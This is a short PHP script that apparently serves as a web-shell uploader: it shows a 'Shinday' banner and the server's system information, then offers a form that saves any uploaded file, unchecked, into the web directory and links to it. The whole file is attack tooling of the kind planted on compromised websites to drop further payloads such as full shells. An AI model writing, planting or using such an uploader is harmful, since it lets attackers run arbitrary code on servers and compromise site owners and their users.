<?php
$s = "Shinday";
echo '<center><pre><br><br><h1 style="color:red;">'.$s.'</h1><br>'.php_uname()."\n".'<br><br><br>';
echo '<form method="post" enctype="multipart/form-data">';
echo '<input type="file" name="file">';
echo '<input name="upload" type="submit" value="Upload">';
echo '</form>';
if(isset($_POST['upload'])){
    $tmp = $_FILES['file']['tmp_name'];
    $name = $_FILES['file']['name'];
    if(@move_uploaded_file($tmp, $name)){
        echo '<b style="color:green;">Upload success</b><br><br>';
        echo '<a href="'.$name.'" target="_blank">Click here</a>';
    } else {
        echo '<b style="color:red;">Upload failed</b>';
    }
}
?>